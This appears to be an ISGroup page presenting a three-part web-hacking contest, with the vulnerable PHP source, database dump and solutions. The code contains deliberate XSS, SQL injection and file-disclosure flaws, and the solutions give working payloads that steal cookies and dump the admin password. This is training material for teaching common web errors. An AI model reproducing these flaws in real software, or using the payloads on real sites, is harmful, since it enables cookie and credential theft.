ISGroup
Information Security

H-BANK LATE NIGHT CONTEST
WEB APPLICATION SECURITY

Read the article about HBANK on http://www.ethical-hacking.it/h-bank-outcome-isgroup-srl/ (italian only).

Thanks for all the attendants!

– Francesco Ongaro, ISGroup SRL

A simple web application hacking challenge.

```
<VirtualHost *:80>
     ServerAdmin webmaster@localhost
     ServerName hackmehard.it
     ServerAlias www.hackmehard.it

     DocumentRoot /home/hackmehard
     <Directory />
          Options FollowSymLinks
          AllowOverride None
     </Directory>
     <Directory /home/hackmehard>
          Options -Indexes FollowSymLinks -MultiViews
          AllowOverride All
          Order allow,deny
          allow from all
     </Directory>

     ErrorLog ${APACHE_LOG_DIR}/error.log
     LogLevel warn
     CustomLog ${APACHE_LOG_DIR}/access.log combined
     <IfModule mpm_itk_module>
          AssignUserId hackmehard hackmehard
     </IfModule>
</VirtualHost>
```

Virtual host configuration

```
<!--
     Developed by ISGroup SRL for H-Farm

     Only for serious developers :)
-->
<h1>Hack Me Hard (A security challenge)</h1>
<p>Solve the three challanges and win an XXXX!</p>
<p>Sponsored by H-FARM, perhaps you know that dudes :)</p>
<ul>
     <li><a href="c1.php">Challenge 1</a></li>
     <li><a href="c2.php?news=1">Challenge 2</a></li>
     <li><a href="c3.php?page=beautifularticle">Challenge 3</a></li>
</ul>
<p>Learn the top 3 errors developers do.</p>
<p>Take a look to OWASP TOP 10 and become a better developer!</p>
```

"index.html" file

```
<html>
<body>
     <!--
     Developed by ISGroup SRL for H-Farm

     Only for serious developers :)
-->
<?php

session_start();
if (
     isset($_POST['send']) &&
     $_POST['send'] == 'TRUE' &&
     isset($_POST['name']) &&
     strpos($_POST['name'], 'H-FARM' ) !== FALSE
) {
     echo 'Your name is: '."\n";
     echo '<textarea>'.$_POST['name'].'</textarea>';
} else {
?>
     <form method="POST">
     <input type="hidden" name="send" value="TRUE" />
     <input type="input" name="name" value="H-FARM" />
     <input type="submit" value="Gogogo!" />
     </form>
<?php } ?>
</body>
</html>
```

"c1.php" file

```
<!--
     Developed by ISGroup SRL for H-Farm

     Only for serious developers :)
-->
<?php

// CREATE USER 'hackmehard'@'localhost' IDENTIFIED BY '***';GRANT USAGE ON *.*
TO 'hackmehard'@'localhost' IDENTIFIED BY '***' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
// GRANT SELECT ON `hackmehard`.* TO 'hackmehard'@'localhost';

mysql_connect('127.0.0.1', 'hackmehard', 'Psvm6bPywNQsaMNR');

mysql_select_db('hackmehard');


if (isset($_GET['news'])) {
     $query = mysql_query('SELECT * FROM news WHERE id = '.$_GET['news'].';');
     if (!$query)
          echo mysql_error();

     while ($row = mysql_fetch_assoc($query)) {
          echo $row['title'];
     }
}
?>
```

```
</body>
</html>
```

"c2.php" file

```
<html>
<body>
<!--
     Developed by ISGroup SRL for H-Farm

     Only for serious developers :)
-->
<?php

if (isset($_GET['page'])) {
     echo file_get_contents($_GET['page'].'.php');
}
?>
</body>
</html>
```

"c3.php" file

```
COPY COPY COPY<br />
CONTENT CONTENT
<a href="http://www.ush.it/">A beautiful place!</a>
<!--

OBTAIN THE MYSQL CONNECTION PASSWORD!

-->
```

"beautifularticle.php" file

```
-- phpMyAdmin SQL Dump
-- version 4.1.5
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: Feb 09, 2014 at 01:42 PM
-- Server version: 5.5.35-0ubuntu0.12.04.2
-- PHP Version: 5.3.10-1ubuntu3.9

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";

--
-- Database: `hackmehard`
--

-- --------------------------------------------------------

--
-- Table structure for table `news`
--

CREATE TABLE IF NOT EXISTS `news` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
```

```
  `title` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;

--
-- Dumping data for table `news`
--

INSERT INTO `news` (`id`, `title`) VALUES
(1, 'HACK BOMB ALERT'),
(2, 'EXTREME POWNAGE FROM OUTER SPACE');

-- --------------------------------------------------------

--
-- Table structure for table `users`
--

CREATE TABLE IF NOT EXISTS `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `password` varchar(255) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `name`, `password`) VALUES
(1, 'admin', 'UGOTMEMADHAXOR!');
```

Database schema and data

Solutions:

```
Place in the form:

H-FARM</textarea><script>alert(document.cookie);</script>
```

Challenge #1 solution

```
http://hackmehard.it/c2.php?news=99%20UNION%20SELECT%201,password%20FROM
%20users;--

“admin” password is “UGOTMEMADHAXOR!”
```

Challenge #2 solution

```
http://hackmehard.it/c3.php?page=c2

MySQL connection information is in the source.
```

Challenge #3 solution